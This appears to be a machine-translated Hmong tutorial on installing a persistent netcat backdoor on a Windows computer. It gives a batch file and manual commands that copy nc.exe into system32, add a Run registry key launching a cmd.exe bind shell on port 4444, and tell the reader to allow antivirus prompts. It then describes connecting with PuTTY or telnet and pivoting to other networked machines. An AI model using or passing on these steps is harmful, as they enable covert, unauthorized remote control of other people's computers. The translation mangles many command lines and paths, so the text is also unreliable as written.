Netcat Kev Lom Zem!: 5 Kauj Ruam

2024 Tus sau: John Day | [email protected]. Kawg hloov kho: 2024-01-30 09:29

Cov lus qhia no qhia koj yuav ua li cas thiaj tsim lub backdoor ntawm lub khoos phis tawj nrog netcat! Kuv yuav qhia koj ob txoj hauv kev los ua qhov no, nrog thiab tsis muaj kuv cov ntaub ntawv batch uas siv nws rau koj. Cov lus qhia no twb xav tias koj twb tau txais kev tso cai hauv paus hauv computer, tej zaum nrog 0phcrack LiveCD ntawm no. Tam sim no, mus rau qhov kev qhia.

Kauj ruam 1: Rub tawm Netcat

Kuv tau cawm koj qhov teeb meem ntawm 3 feeb ntawm kev tshawb hauv Google thiab tau tso nc.exe rau ntawm cov lus qhia rau koj rub tawm. Optionally, koj tseem tuaj yeem rub nc.bat uas yog cov ntaub ntawv batch kuv tau tsim los siv cov txheej txheem rau koj. Nco ntsoov tias yog tias koj rub nc.bat nws yog 464 bytes, vim tias kuv khaws cia rau rub tawm cov ntawv thiab pom qee yam tsis raug ntawm nws. Yog tias nws tsis yog 464 bytes, txoj haujlwm yuav tsis cuam tshuam nrog cov lus qhia no.

Kauj ruam 2: Nrog Nc.bat

Ua ntej, ob daim ntawv yuav tsum nyob hauv tib phau ntawv rau nc.bat kom ua haujlwm tau zoo. Kuv hais qhia siv lub flash drive, lossis CD-ROM rau txoj haujlwm no. Kuv siv 512 mb geek pab pawg flash drive rau qhov no, tab sis qhov ntawd tsuas yog kuv. Yog li, theej cov ntaub ntawv mus rau koj lub cuab yeej tawm sab nraud, thiab coj lawv mus rau lub khoos phis tawj uas koj muaj hauv paus. Mus rau ntawm lub cuab yeej xov xwm thiab nyem ob zaug nc.bat. Qhov no yuav luam cov ntawv nc.exe rau hauv kab ntawv system32, hauv cov hauv paus system (feem ntau yog C: Windows lossis C: WINNT) thiab hloov qhov tsim nyog rau npe. Tom qab ntawv sau tus IP chaw nyob. Nws yuav yog qee yam xws li '192.168.1.103', uas yog kuv li. Thaum qhov no ua tiav, reboot lub tshuab thiab nkag mus. Tom qab ntawd qhov program tiv thaiv kab mob tuaj yeem nug koj yog tias koj xav tso cai/tsis tso cai rau txoj haujlwm. Nyem rau 'Tso cai' lossis zoo sib xws. Nco ntsoov tias hauv phau ntawv qhia no, koj tuaj yeem tsuas yog hu xov tooj los ntawm lub network hauv zos ntawm lub khoos phis tawj ntawd. Tom qab ntawd tawm, lossis tawm mus, lossis lwm yam uas koj xav tau.

Kauj Ruam 3: Tsis Nc.bat

Txhawm rau ua qhov no, koj yuav tsum muaj nc.exe ntawm CD lossis Flash drive. Mus rau lub khoos phis tawj, nkag mus, thiab ntsaws rau hauv flash drive lossis muab tso rau hauv koj daim CD. Los ntawm no, muaj ob txoj hauv kev: Cov neeg siv cov duab zoo nkauj cuam tshuam ntawm lub qhov rais, lossis qhov qias neeg, txoj kev qub ntawm kev hais kom ua tam sim. Qhov qias neeg, qub-kab lus hais kom ua txoj hauv kev sai sai: Rub cov lus txib tam sim los ntawm kev mus rau StartRun thiab ntaus hauv:

cmd.exeCoj koj txoj hauv kev mus rau lub flash lossis koj lub CD drive. Yog tias koj tsis paub tias tsav twg yog qhov twg, txoj cai-nyem rau ntawm lub pob pib thiab nyem tshawb. Nyem rau ntawm txhua qhov tsis nyob hauv zos tsav hauv Kuv Lub Computer kom txog thaum koj tuaj txog koj lub flash/CD drive. Nco ntsoov tsab ntawv ntawm tus tsav thiab rov qab mus rau qhov hais kom ua. Ntaus hauv tsab ntawv ntawm tus tsav ua raws tus nyuv, zoo li no: K: Tom qab ntawv ntaus ib kab zuj zus, tom qab ntawd ntaus tus yuam sij rov qab

luam nc.exe%systemroot%\ system32 / nc.exereg ntxiv HKLM / SOFTWARE / Microsoft / Windows / CurrentVersion / Run /f /v nc /d "%systemroot%\ system32 / nc.exe -L -d -p 4444 - t -e cmd.exe "Qhov ntawd zoo nkauj npaum li lub installation. Txhua yam koj yuav tsum paub tam sim no yog IP chaw nyob, uas tuaj yeem nrhiav tau yooj yim los ntawm kev ntaus hauv 'ipconfig' hais kom ua thiab nrhiav qee yam hauv lub rooj zoo li "192.168.1.103". Tom qab ntawd rov pib dua lub tshuab thiab rov qab nkag rau hauv. Qhov program tiv thaiv kab mob yuav nug koj yog tias koj xav tso cai/tsis tso cai. Nyem tso cai. Tom qab ntawd koj yog dawb los ua qhov koj xav tau nrog lub khoos phis tawj. Qhov polished-up graphical cuam tshuam ntawm WindowsRight-nyem rau ntawm lub pob pib thiab nyem tshawb. Nyem rau ntawm txhua qhov tsis nyob hauv zos tsav hauv Kuv Lub Computer kom txog thaum koj tuaj txog koj lub flash/CD drive. Tom qab ntawv right-click nc.exe thiab luam. Tom qab ntawd mus rau C tsav thiab nyem rau ntawm Windows lossis WINNT nplaub tshev. Tom qab ntawd mus rau kab ntawv system32 thiab muab tshuaj txhuam nc.exe. Kaw qhov ntawd, thiab mus rau StartRun. Ntaus hauv regedit. Nkag mus los ntawm cov ntawv tais ceev tseg rau: HKEY_LOCAL_MACHINE SOFTWARE Microsoft Microsoft Windows CurrentVersion RunThen txoj cai nyem rau ntawm qhov chaw khoob thiab mus rau NewString Tus Nqi. Ntaus yam koj xav tau rau lub npe, tab sis rau tus nqi, ntaus hauv

%systemroot%\ system32 / nc.exe -L -d -p 4444 -t -e cmd.exeQhov ntawd zoo nkauj npaum li lub installation. Txhua yam koj yuav tsum paub tam sim no yog IP chaw nyob, uas tuaj yeem nrhiav tau yooj yim los ntawm kev ntaus hauv 'ipconfig' hais kom ua rau qhov hais kom sai (StartRun: cmd.exe) thiab nrhiav qee yam hauv lub rooj zoo li "192.168.1.103". Tom qab ntawd rov pib dua lub tshuab thiab rov qab nkag rau hauv. Qhov program tiv thaiv kab mob yuav nug koj yog tias koj xav tso cai/tsis tso cai. Nyem tso cai. Tom qab ntawd koj tuaj yeem ua yam koj xav tau nrog lub khoos phis tawj.

Kauj Ruam 4: Rov Qab Los

Thaum koj tau teeb tsa nws, thiab koj xav tswj hwm tus tswv tsev, qhib qhov hais kom ua tam sim lossis PuTTY. Kuv xav tias PuTTY zoo heev, yog li kuv yuav tso cai rau koj rub tawm ntawm no. Ua PuTTYD download thiab qhib PuTTY.exe. Nyem rau ntawm 'raw' raws tu qauv. Hauv qhov chaw nres nkoj # lub thawv ntawv, ntaus hauv 4444. Hauv lub thawv 'chaw nyob tus tswv', ntaus tus IP chaw nyob uas koj sau tseg thaum teeb tsa. Tom qab ntawd ntaus nkag. PuTTY yuav tsum txuas rau lub npov thiab koj yuav tau txais qhov hais kom sai. Using Command PromptOpen qhov hais kom sai thiab ntaus hauv 'telnet 4444' Tom qab ntawd ntaus nkag, thiab koj yuav tsum tau txais cov lus txib tam sim ntawd. Qhov no yuav cia koj ua txhua yam koj xav tau rau lub khoos phis tawj nyob deb uas koj tuaj yeem ua nrog tus lej hauv zos. Nws pib tau txais kev txaus siab thaum koj nkag mus rau hauv ib lub computer, thiab tom qab ntawd nkag mus rau lwm lub khoos phis tawj los ntawm lub khoos phis tawj ntawd, kom tau tag nrho cov koos pij tawj txuas nrog ua ke. Have (raug cai) lom zem!

Kauj ruam 5: Source Code

Vim tias kuv tau raug nug, kuv yuav tso qhov chaws (rau cov ntawv ua batch) thiab piav qhia txhua qhov hais kom ua thiab nws ua dab tsi. Ceev Faj! Nov yog qhov tam sim no ntawm cov txheej txheem teeb tsa pob. Yog tias koj qhov sib txawv, cov cai yuav txawv.

@echo offcopy nc.exe%systemroot%\ system32 / nc.exeif errorlevel 0 goto regeditgoto yuam kev: regeditreg ntxiv HKLM / SOFTWARE / Microsoft / Windows / CurrentVersion / Run /f /v nc /d "%systemroot%\ system32 / nc. exe -L -d -p 4444 -t -e cmd.exe "yog errorlevel 0 goto ip: errorecho qee yam tsis tau xav txog tau tshwm sim, thiab txoj haujlwm yuav tsum tau tawm mus. goto kawg: ipecho sau tus IP chaw nyob los ntawm cov lus.echo ciav kab xev tawm.pause@echo tawm-Qhia nws kom tsis txhob qhia cov lus txib thaum ua tiav.copy nc.exe %systemroot %\ system32 / nc.exe-feem ntau yog luam netcat rau hauv C: / WINDOWS / system32. Qhov no ua rau nws yog thaum koj rov qab los, tsis hloov pauv cov npe txhua lub sijhawm, koj tuaj yeem tsuas yog ntaus "nc" qhib lwm qhov chaw nres nkoj.if errorlevel 0 goto regedit-yuam kev tshawb xyuas. Yog tias daim ntawv tau ua tiav, Nws txuas ntxiv mus txhawm rau kho qhov sau npe goto yuam kev-Yog tias muaj qhov ua yuam kev tshwm sim, mus rau qhov: yuam kev daim ntawv lo.:regedit-A daim ntawv lo, qhia meej tias thaum qhov program hais tias "goto regedit", mus ntawm no.reg ntxiv HKLM / SOFTWARE / Microsoft / Windows / CurrentVersion / Run /f /v nc /d "%systemroot%\ system32 / nc.exe -L -d -p 4444 -t -e cmd.exe" -(xav tias yog ib kab) uas ntxiv tus lej sau npe kom rov pib qhov haujlwm thaum rov pib dua. /f txhais tau tias rov sau dua qhov tseem ceeb, /v rau lub npe tseem ceeb, /d rau cov ntaub ntawv. Tus so ntawm cov cim npe tau nkag rau netcat. -L hais kom rov pib dua nws thaum tawm, yog li koj tsis tas yuav tos kom lub khoos phis tawj rov pib dua. -d kuv tsis nco qab. -p 4444 qhia qhov chaw nres nkoj #. -t kuv tsis hnov qab. -e cmd.exe ua rau qhov hais kom sai pib ntawm cov chaw taws teeb sib txuas.if errorlevel 0 goto ip-error checking. Yog tias qhov ua tsis raug nws yuav hla txoj kab no thiab mus rau qhov: yuam kev daim ntawv. Echo qee yam tsis tau xav txog tau tshwm sim, thiab txoj haujlwm xav tau tawm. "ntawm qhov screen.goto kawg-yog tias nws tau mus rau qhov lus yuam kev, qee yam tsis raug thiab qhov haujlwm xav tau kaw ib txwm.:ip- Ntxiv dua, label.echo sau tus IP chaw nyob ntawm lub rooj-Sau" sau IP chaw nyob los ntawm lub rooj "mus rau lub vijtsam.ipconfig- Qhov no yog cov lus txib uas luam tawm cov ntaub ntawv hais txog koj lub network hauv cheeb tsam (LAN) teeb tsa.:end-Label.echo kawg.- sau" kawg "rau lub screen.echo ciav kab xev tawm. -writes "cov kab xev tawm" rau ntawm lub vijtsam.pause-cov lus txib no tau ncua lub program, thiab tos kom tus neeg siv nias tus yuam sij. Hauv qhov haujlwm no, nws tos rau kev nkag mus thiab tom qab ntawd tawm ntawm qhov program.